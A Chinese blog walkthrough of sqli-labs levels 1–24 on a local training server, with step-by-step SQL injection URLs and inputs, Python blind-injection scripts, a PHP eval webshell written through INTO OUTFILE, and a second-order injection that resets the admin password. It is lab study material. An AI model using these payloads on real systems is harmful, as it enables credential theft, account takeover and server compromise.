sqli-labs1-24通关教程

目录

前置知识

第一关

1、第一关是单引号字符型注入,输入id=1‘会报错

2、输入注释符正常显示

3、爆出列数为联合做准备

4、使用联合查询爆出数据库名

5、使用information_schema爆出表名

6、猜测用户名再users表中,爆出列名

​编辑

7、利用查出来的表名数据库名爆出数据

(有些重复步骤在后续关卡回省略)

第二关

1、第二关是数字型注入,输入id=1’出现出错,输入id=1不会报错

2、 爆数据库名

3、爆表名

4、爆列名

5、爆数据

​编辑 第三关

1、第三关是使用')进行闭合

2、爆数据库名

3、爆表名

4、爆列名

5、爆出数据

第四关

1、第四关是")闭合

2、爆出数据库名

3、爆出表名

4、爆出列名

5、爆出数据

第五关

1、第五关是单引号注入,没有显示位,只有正确页面和错误页面对比

2、使用报错注入爆出数据库名

3、使用报错注入爆出表名

4、爆出列名

​编辑 5、爆出数据

第六关

1、第六关与第五关一样,不过是闭合方式发生变化

2、爆出数据库名

 3、爆出表名

4、爆出列名

5、爆出数据

第7关

1、这一关闭合方式是')),但是这一关是要使用文件上传的方式去做

2、文件上传

mysql文件上传三个条件

1、mysql用户权限为root

2、要知道网站物理路径

3、secure_file_priv值为空(空的意思是啥都没有,不是null)

文件上传

第八关

1、第八关是盲注

2、利用页面显示不同尝试注入

第九关

1、第九关是时间盲注,这个注入依靠回显的时间不同来爆出不同的数据

2、脚本爆出数据

第十关

1、第十关也是时间盲注不过闭合方式发生改变,闭合方式由'变成"

 2、同理一个个手动注入太麻烦,我们尝试用脚本注入,这个脚本只需要将第九关脚本微微修改,将url改为第十关,将payload的'换为","换为'(注:是所有的"和'都要换,不然可能会起冲突,代码会报错)

第十一关

1、第十一关是改成了post传参,不过和get传参相差不大尝试爆出要查询的列数,现在查询语句要报出的列数是两列

2、使用联合查询爆出数据库名

3、爆表名

4、爆列名

5、爆数据

第十二关

1、第十二关与第十一关同理闭合方式发生了变化由'闭合变为了")闭合

2、爆出数据库名

3、爆出表名

4、爆出列名

5、爆出数据

 第十三关

1、第十三关是报错注入,且闭合方式为1'),这一关开始不要忘记输入密码,不然无法进入sql查询语句

2、使用报错注入爆出数据库名

 3、爆表名

 4、爆列名

5、报数据

​编辑第十四关

1、第十四关与第十三关同理,也需要使用报错注入,只是闭合方式不同,第十四关闭合方式为"

 2、爆数据库名

3、爆出表名

4、爆出列名

5、爆数据

第十五关

1、第十五关又是一关盲注

2、可以像第一步一样一个个注出来但是未免太浪费时间,来一个脚本

第十六关

1、第十六关与十五关同理,只是修改了闭合方式,第十六关闭合方式为")

 2、修改15关脚本

第十七关

1、这一关经过尝试发现无法在username尝试注入,那么我们在new password尝试注入

2、使用报错注入爆数据库名

3、爆表名

4 、爆列名

5、报数据

 第十八关

1、寻找注入点

2、爆出数据库名

3、爆出表名

4、爆出列名

5、爆出数据

第十九关 

1、寻找注入点

 2、抓包

3、报数据库名

4、爆表名

5、爆列名

6、爆出数据 

第二十关

1、寻找注入点

2、爆出数据库名

3、爆出表名

4、爆出列名 

5、爆出数据

第二十一关

1、查看代码第二十一关与第二十关几乎相同,不过在其中有个编码解码的过程

2、爆数据库名

3、报表名

4、爆列名

5、爆数据

第二十二关

第二十三关

第二十四关


前置知识

一些基础知识可以参考我以前写过的一些文章

初识sql注入--手工注入-CSDN博客

SQL注入之报错注入_如何在报错的情况下爆出列名-CSDN博客

第一关

1、第一关是单引号字符型注入,输入id=1‘会报错

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=1%27

2、输入注释符正常显示

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=1%27%20--+

3、爆出列数为联合做准备

输入oider by正常显示,说明只有3行

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=1%27%20order%20by%203--+

输入order by 4报错

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=1%27%20order%20by%204--+

4、使用联合查询爆出数据库名

爆出回显位置

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+

2,3位置回显爆出数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+

5、使用information_schema爆出表名

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

6、猜测用户名再users表中,爆出列名

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

7、利用查出来的表名数据库名爆出数据

http://127.0.0.1:9002/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+

(有些重复步骤在后续关卡回省略)

第二关

1、第二关是数字型注入,输入id=1’出现出错,输入id=1不会报错

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=1%20--+

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=1%E2%80%99%20--+

2、 爆数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),3--+

3、爆表名

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

4、爆列名

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

5、爆数据

http://127.0.0.1:9002/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+

 第三关

1、第三关是使用')进行闭合

使用1‘出错

127.0.0.1:9002/sqli-labs-master/Less-3/?id=1'--+

使用1’)显示正常

127.0.0.1:9002/sqli-labs-master/Less-3/?id=1')--+

2、爆数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,database(),3%20--+

3、爆表名

http://127.0.0.1:9002/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+

4、爆列名

http://127.0.0.1:9002/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20--+

5、爆出数据

http://127.0.0.1:9002/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+

第四关

1、第四关是")闭合

使用1"会报错

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=1%22--+

使用1")正常显示

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=1%22)%20--+

2、爆出数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,database(),3--+

3、爆出表名

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

4、爆出列名

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

5、爆出数据

http://127.0.0.1:9002/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+

第五关

1、第五关是单引号注入,没有显示位,只有正确页面和错误页面对比

使用1'有错误信息,存在注入点

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27

使用联合查询无回显

2、使用报错注入爆出数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

3、使用报错注入爆出表名

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+

4、爆出列名

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)--+

 5、爆出数据

爆username

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20security.users),0x7e),1)--+

爆出数据不全使用limit

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20security.users%20limit%204,1),0x7e),1)--+

爆password

http://127.0.0.1:9002/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(password)%20from%20security.users),0x7e),1)--+

第六关

1、第六关与第五关一样,不过是闭合方式发生变化

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22

 输入"有报错

闭合后显示正常

2、爆出数据库名

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

 3、爆出表名

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+

4、爆出列名

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27),0x7e),1)--+

5、爆出数据

数据不够就用limit

爆username

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20security.users),0x7e),1)--+

爆password

http://127.0.0.1:9002/sqli-labs-master/Less-6/?id=1%22%20and%20updatexml(1,concat(0x7e,(select%20group_concat(password)%20from%20security.users),0x7e),1)--+

第7关

1、这一关闭合方式是')),但是这一关是要使用文件上传的方式去做

输入1'))出现报错

http://127.0.0.1:9002/sqli-labs-master/Less-7/?id=1%27))

添加注释回复正常

2、文件上传

mysql文件上传三个条件

1、mysql用户权限为root

现如今几乎不可能给网站用户mysql的root权限,一般都是普通用户

2、要知道网站物理路径

导出webshell要导在物理路径你才可以访问

3、secure_file_priv值为空(空的意思是啥都没有,不是null)
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出
 
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下
 
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
show global variables like 'secure%';

我这里为NULL

配置文件中修改

文件上传

 使用into outfile函数可以 上传木马

http://127.0.0.1:9002/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,%22%3C?php%20eval($_POST[%27cmd%27]);%20?%3E%22%20into%20outfile%22D:\\phpstudy_pro\\WWW\\sqli-labs-master\\test\\web.php%22;--+

 查看文件,上传成功

使用蚁剑连接

蚁剑连接成功

第八关

1、第八关是盲注

1’页面没有反应

http://127.0.0.1:9002/sqli-labs-master/Less-8/?id=1%27

1' --+页面显示You are in...........

http://127.0.0.1:9002/sqli-labs-master/Less-8/?id=1%27%20--+

2、利用页面显示不同尝试注入

使用ascii喝substr尝试注入 ,substr将所获得的字符截取下来,ascii将截取下来的字母转化为ascii码

http://127.0.0.1:9002/sqli-labs-master/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1)=115)%20--+

ascii为115时显示正确说明数据库第一位时s

这样不断变换查询位置和内容即可查询出最终值,但是手动太慢我们不如写一个脚本

import requests
def get_database(url):
    dataname = ''  # 初始化一个空字符串用于存储数据库名
    dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'  #数据库名可能存在这些字段中
    # 循环数据库名的位置
    for i in range(1, 20):
        for j in dict:
            #注入语句
            payload = "1' AND SUBSTRING((SELECT DATABASE()), %d, 1) = '%s'-- " % (i, j)
            # 发送请求
            res = requests.get(url, params={"id": payload})
            # 如果字符匹配上了,屏幕会输出You are in,所以可以用You are in来检测是否字符是否可以匹配
            if "You are in" in res.text:
                dataname += j
                print(dataname)
                break
            else:
                continue
    return dataname
 
# 此处填写自己靶场地址
url = 'http://127.0.0.1:9002/sqli-labs-master/Less-8/'
db_name = get_database(url)

只要修改查询的数据就可以爆出不同的数据包括数据列表名等等,下面展示的是爆出password的结果

第九关

1、第九关是时间盲注,这个注入依靠回显的时间不同来爆出不同的数据

利用ascii和substr和if和sleep函数来完成数据回显

当函数第一位ascii值不为115时if不执行函数页面响应时间小于两秒

当数据库第一位的ascii值为115时if正确执行sleep函数,页面响应时间大于两秒

但是我们要是一个个手动注入未免效率太低,所以我们可以再写一个脚本

2、脚本爆出数据

这里同里也只需要修改要注入的参数即可改变获得的数据

import time
import requests
def database():
    name = ''
    for i in range(1,100):
        for j in range(32,128):
            payload = {"id":"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(2),0)-- "%(i,j)}
            start_time = time.time()
            res = requests.get(url,params=payload)
            end_time = time.time()
            if end_time-start_time>=2:
                name = name+chr(j)
                print(name)
                break

url = 'http://127.0.0.1:9002/sqli-labs-master/Less-9/'
database()

 下面展示一个爆出表名的例子

第十关

1、第十关也是时间盲注不过闭合方式发生改变,闭合方式由'变成"

当数据库ascii码不正确的时候就不会触发sleep函数也就不会延长回复时间,回复时间小于两秒

http://127.0.0.1:9002/sqli-labs-master/Less-10/?id=1%22%20and%20if(ascii(substr(database(),1,1))=111,sleep(2),1)%20--+

当数据库ascii码为115时,也就是数据库第一位s时,页面回复时间大于两秒

http://127.0.0.1:9002/sqli-labs-master/Less-10/?id=1%22%20and%20if(ascii(substr(database(),1,1))=115,sleep(2),1)%20--+

 2、同理一个个手动注入太麻烦,我们尝试用脚本注入,这个脚本只需要将第九关脚本微微修改,将url改为第十关,将payload的'换为","换为'(注:是所有的"和'都要换,不然可能会起冲突,代码会报错)

import time
import requests
def database():
    name = ''
    for i in range(1,100):
        for j in range(32,128):
            payload = {"id":'1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),%d,1))=%d,sleep(2),0)-- '%(i,j)}
            start_time = time.time()
            res = requests.get(url,params=payload)
            end_time = time.time()
            if end_time-start_time>=2:
                name = name+chr(j)
                print(name)
                break

url = 'http://127.0.0.1:9002/sqli-labs-master/Less-10/'
database()

脚本运行结果

第十一关

1、第十一关是改成了post传参,不过和get传参相差不大尝试爆出要查询的列数,现在查询语句要报出的列数是两列

查询两列正常回显

1' order by 2#

1' order by 3#

2、使用联合查询爆出数据库名

1' union select 1,database()#

3、爆表名

这里使用1的原因是查询的不是id没有为1的的username

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

4、爆列名

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

5、爆数据

1' union select group_concat(username),group_concat(password) from security.users#

第十二关

1、第十二关与第十一关同理闭合方式发生了变化由'闭合变为了")闭合

输入1‘没有反应

输入1"出现报错

输入1" #还是报错

输入1")正常回显

2、爆出数据库名

1") union select 1,database()#

3、爆出表名

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

4、爆出列名

1") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

5、爆出数据

1") union select group_concat(username),group_concat(password) from security.users#

 第十三关

1、第十三关是报错注入,且闭合方式为1'),这一关开始不要忘记输入密码,不然无法进入sql查询语句

1')#没有显示

1')报错

2、使用报错注入爆出数据库名

1') and updatexml(1,concat(0x7e,database(),0x7e),1)#

 3、爆表名

1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

 4、爆列名

1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

5、报数据

数据不够可以使用limit一个个爆出来

1') and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)#

爆出username

1') and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)#

爆出password

1') and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#

第十四关

1、第十四关与第十三关同理,也需要使用报错注入,只是闭合方式不同,第十四关闭合方式为"

1"报错

1" #不显示

 2、爆数据库名

1" and updatexml(1,concat(0x7e,database(),0x7e),1)#

3、爆出表名

1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

4、爆出列名

1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)#

5、爆数据

1" and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)#

爆username

 爆password

1" and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)#

第十五关

1、第十五关又是一关盲注

这里是成功会显示

1' or ascii(substr(database(),1,1))=111#

失败会显示如下图片

1' or ascii(substr(database(),1,1))=111#

2、可以像第一步一样一个个注出来但是未免太浪费时间,来一个脚本

首先这里发生变化的就是图片,那么就抓取图片,来用这个图片作为是否成功的判断标准

脚本

下面例子只爆数据库名,想爆出其他字段只需修改参数即可

import requests
def half(url):
    name = ''
    for i in range(1, 20):
        #从空格开始 直到到~
        low = 32
        high = 126
        mid = (low + high) // 2
        while low < high:
            #payload = "admin' and ascii(substr(database(),%d,1))> %d#" % (i, mid)
            params = {
                "uname" : "admin' and ascii(substr(database(),%d,1))>%d#" % (i, mid),
                "passwd" : 'aaaaa'
            }
            r = requests.post(url, data=params)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)

url = 'http://127.0.0.1:9002/sqli-labs-master/Less-15/'
half(url)

爆出数据库名的例子

第十六关

1、第十六关与十五关同理,只是修改了闭合方式,第十六关闭合方式为")

盲注成功

1") or ascii(substr(database(),1,1))=115#

盲注失败

1") or ascii(substr(database(),1,1))=111#

 2、修改15关脚本

# 白大黑
# 开发时间:$[DATE] $[TIME]
# 白大黑
# 开发时间:$[DATE] $[TIME]
import requests
def half(url):
    name = ''
    for i in range(1, 20):
        #从空格开始 直到到~
        low = 32
        high = 126
        mid = (low + high) // 2
        while low < high:
            #payload = "admin' and ascii(substr(database(),%d,1))> %d#" % (i, mid)
            params = {
                "uname" : 'admin") and ascii(substr(database(),%d,1))>%d#' % (i, mid),
                "passwd" : 'aaaaa'
            }
            r = requests.post(url, data=params)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)

url = 'http://127.0.0.1:9002/sqli-labs-master/Less-16/'
half(url)

爆出数据例子

第十七关

1、这一关经过尝试发现无法在username尝试注入,那么我们在new password尝试注入

在输入1'出现报错,可以尝试报错注入

2、使用报错注入爆数据库名

1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

3、爆表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

4 、爆列名

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

 

5、报数据

由于这个数据是在要更新的表中查询所以需要再写一个子查询

username查询

1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select * from security.users) as u),0x7e),1)#

password查询

1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select * from security.users) as u),0x7e),1)#

 第十八关

1、寻找注入点

登陆成功的样子

登陆失败的样子

抓包看一下,看到了User Agent,尝试在User Agent注入

输入id‘有报错信息,存在注入点

2、爆出数据库名

3、爆出表名

4、爆出列名

5、爆出数据

数据不够可以用limit继续爆出

username爆出

 password爆出

第十九关 

1、寻找注入点

这一关也是httd头部注入,登陆成功显示

登陆失败显示

 2、抓包

在refer头部输入1’出现报错,存在注入点

3、报数据库名

4、爆表名

5、爆列名

6、爆出数据 

username

password

第二十关

1、寻找注入点

尝试正常登陆

错误密码登陆

分析代码在cookie处可以注入,且cookie处还需要uname字段

尝试注入出现爆错

2、爆出数据库名

3、爆出表名

4、爆出列名 

5、爆出数据

username

password

第二十一关

1、查看代码第二十一关与第二十关几乎相同,不过在其中有个编码解码的过程

所以我们构造payload的时候也要进行编码

编码

解码

2、爆数据库名

3、报表名

4、爆列名

5、爆数据

username数据

password数据

第二十二关

二十二关与二十一关仅仅闭合方式不同这里不做演示

第二十三关

使用1’发现报错

使用%23和--+无法闭合,查看源代码这里被过滤了

使用'1'=1进行闭合

http://127.0.0.1:9002/sqli-labs-master/Less-23/index.php?id=1%27%20and%20%271%27=%271

尝试注入

爆数表名,其余步骤一次进行这里就不一一演示了

第二十四关

二十四关是一个二次注入,他在username和password输入的时候是过率的,但是它在后面的操作是没有过滤的,且过滤并不是把代码去掉了,代码还是原来的代码不过是被转义了,但是你再取出来的话就又可以了

第二十四管寻找注入点,查看源代码,发现修改密码处没有被过滤,可以在此注入

下面开始演示一下二次注入

现在admin的密码是123,咱借助二次注入来修改admin的密码

1、新创建一个用户,用户名为admin‘#这是为了在修改密码的地方闭合,密码1234

2、admin’#完成二次注入,登陆进入修改密码界面

3、修改密码为111111,后面的新密码不需要管,因为已经被闭合了

4、密码修改成功

5、登陆测试

看右上角登陆的结果

  • 14
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值